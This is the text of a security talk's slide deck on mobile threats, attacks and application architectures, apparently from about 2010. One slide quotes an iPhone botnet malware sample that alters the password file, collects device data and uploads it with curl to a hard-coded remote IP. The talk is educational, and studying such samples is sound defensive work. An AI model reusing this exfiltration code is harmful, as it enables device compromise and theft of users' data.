Creating Secure Mobile Applications from Insecure Platforms

Mobile Threats, Attacks, and Architectures

Jason Rouse
Principal
jrouse@cigital.com
Who Am I?
CAUTION
THIS MACHINE
HAS NO BRAIN
USE YOUR OWN
The Scale of Things

- The Internet is big.
- There are approximately 1,000,000,000 people on the internet.
- And there are approximately 3,000,000,000 mobile handsets in use.
- What sort of attack surface, computational power, and force multiplication do cell phones have?
The Internet
Mobile Platforms are Fragmented

- Symbian
- RIM
- Android
- iPhone
- Motorola (J2ME, C/C++)…?
- WebOS…?
- Windows Mobile…?
- Plus all the feature and specialty phones…
“Convergence is the Way To Go™”

What do you put on your phone?

- Phone numbers
- Call history
- Music?
- Location-Based Services (Google Maps, Google Latitude, VZNav, BB Maps)
- Photos
- Email
- ... VPN keys?
- ... Passwords?
“Convergence is the Way To Go™”

- There is no doubt in my mind that secure converged devices are the way to go....
“Convergence is the Way To Go™”

- …but we’ve got a long way to go before we have truly secure mobile devices!
Mobile Platforms (That I’ll talk about)
Settin’ The Stage
1998, $500 CDN
2002, $1000-$100,000
2009, $1500
2009, $150
Golden Rules
Golden Rules

- Attestation != Assurance
- User Analytics != Security
- Physical Access == Game Over™
- Crypto != Miracle Cure
Golden Rules: Attestation != Assurance

Available on the iPhone
App Store
Golden Rule: User Analytics != Security
Golden Rule: Physical Access == Game Over™

Keypad and card reader

Card reader

Camera and battery
Golden Rule: Crypto ≠ Miracle Cure

Normal PIN check
1. enter PIN
2. PIN correct?
3. check smart card
4. yes/no
terminal

Fraudulent PIN check
1. enter any PIN
2. is PIN correct?
3. yes (for any PIN)
Man-in-the-middle
stolen smart card
terminal

http://www.cl.cam.ac.uk/research/security/banking/nopin/
Interlude: Mobile Attacks

- Worms
- Trojans
- Malicious Code
- Time-Of-Check, Time-Of-Use Attacks
- Return-Oriented Attacks
- Unprotected APIs
Interlude: Mobile Attacks

- Worms
- Trojans
- Malicious Code
- Time of Check/Time of Use Attacks
- Return-Oriented Attacks
- Unprotected APIs
iPhone “ikee” Worm

- Only works on jailbroken iPhones
- Awfully annoying…. But not so damaging.
iPhone Botnet

- F-Secure is constantly collecting malware samples, and they stumbled across this:

  ```bash
  chmod +x /System/Library/LaunchDaemons/com.apple.period.plist
  /bin/launchctl load -w /System/Library/LaunchDaemons/com.apple.period.plist
  sed -i -e 's/\//smx7MYTQIi2M/ztzk6MZFq8t\//Q/g' /etc/master.passwd
  uname -nr >>$ID/info
  echo $SQLITE >>$ID/info
  ifconfig | grep inet >> $ID/info
  tar czf ${ID}.tgz $ID
  curl 92.61.38.16/xml/a.php?name=$ID --data "data=`base64 -w 0 $ID`.tgz"
  ```

- ...which uses the same exploit (root/alpine) but modifies /etc/passwd and pushes data off the iPhone to a remote server...
Interlude: Mobile Attacks

Worms
Trojans
Malicious Code
Time of Check/Time of Use Attacks
Return-Oriented Attacks
Unprotected APIs
Ahhhh…. Trojan Games.

- Added premium-dial code to the app
- Game simply dialed the numbers in succession, racking up ugly phone bills for unsuspecting users.
Interlude: Mobile Attacks

Worms
Trojans
Malicious Code
Time of Check/Time of Use Attacks
Return-Oriented Attacks
Unprotected APIs
Phishing at the App Store

- Many publishers have sent in applications purporting to be for mobile banking
- These applications simply prompt for usernames, passwords, PINs, or account numbers...
- ...the user is at the mercy of the application store’s search function!
Intercept Software

- Push update from carrier designed to intercept email and SMS messages from subscriber’s phones
- Due to mis-configuration, this software overloaded the intercept server and quickly drained subscriber’s batteries, leading to discovery and disassembly of the package
- The package was supposed to “facilitate the transfer between 2G and 3G networks”.
Interlude: Mobile Attacks

Worms
Trojans
Malicious Code

Time of Check/Time of Use Attacks
Return-Oriented Attacks
Unprotected APIs
(Older) Symbian S60 .jad signature checks

- Symbian checks the .jad presented signature... at install time.

LG Flash games hack

- Two LG flash apps (pre-loaded) can be replaced on filesystem with any flash app by the user
Interlude: Mobile Attacks

Worms
Trojans
Malicious Code
Time of Check/Time of Use Attacks
Return-Oriented Attacks
Unprotected APIs
Return-Oriented Attacks

- Vincenzo Iozzo and Ralf Philipp Weinmann used R-O-P (return-oriented programming) to attack an Apple iPhone in 2010.
- Their exploit simply used freely-available functions (or snippets of functions) to create an “SMS-messages-to-web” post to a website of their choosing by messing about with %esp.
- Technically the first return-oriented hack on a cellular phone; there will be more!
Interlude: Mobile Attacks

- Worms
- Trojans
- Malicious Code
- Time of Check/Time of Use Attacks
- Return-Oriented Attacks
- Unprotected APIs
Unprotected APIs

- Old Symbian J2ME/WTK implementation implemented JSR 118 (MIDP) correctly...

- ...but left RMS-management classes public!

- Allowed direct access to any RMS store simply by calling RMS implementation directly via Java.
Mobile Threats
From this...
Mobile Application Architectures
Mobile Application Architectures

Complex Payment
Web Front End
Remote Control
Mobile Services Client (Hybrid)
SMS-Only
Unstructured Supplementary Service Data
Complex Payment Architecture

Customer

Mobile Device

Mobile Data Modem

Cellular Network

Connectivity Gateways (SMS, Internet)

HLR

MPayment Middleware

Payment Solution Provider

MPayment Middleware

PN

Identity Mapping DB

Settlement Software

LAN

AML, Fraud, Billing Software

Settlement DB

MNO

Financial Institution

B2B
Mobile Application Architectures

- Complex Payment
- Web Front End
- Remote Control
- Mobile Services Client (Hybrid)
- SMS-Only
- Unstructured Supplementary Service Data
Web Front-End

Customer

Mobile Device

Connectivity Gateways (SMS, Internet)

Cellular Network

Internet

Application Website

Identity Mapping DB

Application Software

DB

Incident Handling, Logging, Reporting

Application Provider

MNO

Customer

Mobile Data Modem
Mobile Application Architectures

Complex Payment
Web Front End
Remote Control
Mobile Services Client (Hybrid)
SMS-Only
Unstructured Supplementary Service Data
Remote Control Architecture

- Customer
- Mobile Device
- Mobile Data Modem
- Cellular Network
- Connectivity Gateways (SMS, Internet)
- Internet
- MNO
- MNO <-> ASP Software
- Identity Mapping DB
- Application Software
- Incident Handling, Logging, Reporting
- DB
- Application Provider

© 2008 Cigital Inc. All Rights Reserved. Confidential. Wednesday, October 27, 2010
Mobile Application Architectures

Complex Payment
Web Front End
Remote Control
Mobile Services Client (Hybrid)
SMS-Only
Unstructured Supplementary Service Data
Mobile Services Client (Hybrid)
Mobile Application Architectures

Complex Payment
Web Front End
Remote Control
Mobile Services Client (Hybrid)
SMS-Only
Unstructured Supplementary Service Data
SMS-Only Application

- Customer
- Mobile Device
- Mobile Data Modem
- Cellular Network
- Connectivity Gateways (SMS, Internet)
- Internet
- SMPP/Bulk Adapter
- Application Software
- App DB
- Identity Mapping DB

© 2008 Cigital Inc. All Rights Reserved. Confidential.
Mobile Application Architectures

Complex Payment
Web Front End
Remote Control
Mobile Services Client (Hybrid)
SMS-Only
Unstructured Supplementary Service Data
Unstructured Supplementary Service Data (USSD) Application
QUESTIONS & DISCUSSION

jrouse@cigital.com
For More

- Cigital’s Software Security Group http://cigital.com

- See the Addison-Wesley Software Security series

- Send e-mail: jrouse@cigital.com